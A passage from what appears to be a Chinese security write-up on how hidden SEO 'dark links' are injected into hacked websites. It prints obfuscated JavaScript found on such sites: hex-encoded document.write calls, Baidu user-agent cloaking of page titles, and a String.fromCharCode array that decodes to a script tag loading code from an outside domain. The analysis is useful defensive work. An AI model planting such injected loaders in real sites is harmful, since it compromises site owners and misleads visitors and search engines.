可以看到真实内容其实是这些。
接着分析JavaScript代码部分
<script type="text/javascript"> window["document"]["write"] (''); </script><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "XXXXX科技有限公司"}</script>可以看到他调用了JavaScript中的windows对象,然后使用的方法都使用了16进制的编码,因为JavaScript是支持16进制编码的,这样可以躲过一部分简单的检测工具,确实具有一些隐蔽性;后面调用navigator对象中的useragent方法判断用户访问的useragent,如果不是通过百度跳转过来的就将title设置为正常的title。我们将上面这段代码中的16进制编码丢到16进制解密工具中。
这样可以看到,他其实是使用的window对象中的document.wirte方法,将一段外部JavaScript代码写入到了当前的页面,这样就完成了一段暗链的植入。(关于引入的外部JavaScript代码片段后续文章继续讲解,本文先讲引入手法)
二:JavaScript中String.fromCharCode方法引入暗链这种引入方式也是现在比较多的一种,原理是通过String.fromCharCode函数将10进制ascii码转换为正常的字符,然后调用document.wirte方法写入当前页面,废话不多说,上案例。
前面的title、keywords、description还是那么的如出一辙,那么的熟悉的10进制unicode编码。放进站长工具转换一波。
这熟悉的文字,啧啧啧
下面分析JavaScript代码部分
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="系统登录,XXX管理系统 "}</script> <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>还是那个味儿,不过换成了String.fromCharCode方法配合10进制ASCII码+document.write方法实现。首先将这一串10进制ASCII码转换为了String字符串。我们可以使用python中的chr()方法解码得到他的真实字符串。
然后使用document.wirte方法将这串字符串写入到当前页面,这样就完成了外部JavaScript代码的引入,从而实现了暗链的植入。
三:使用十进制unicode编码引入JavaScript这种方法是通过引入JavaScript时,<script src="http://www.52bug.cn/seoyh/XX" >通过将其中的src改为十进制unicode编码来实现的。这种方法不是在JavaScript上做文章,而是利用html的特性,使用十进制unicode编码改变<script>标签中的src来做文章
废话不多说,上案例: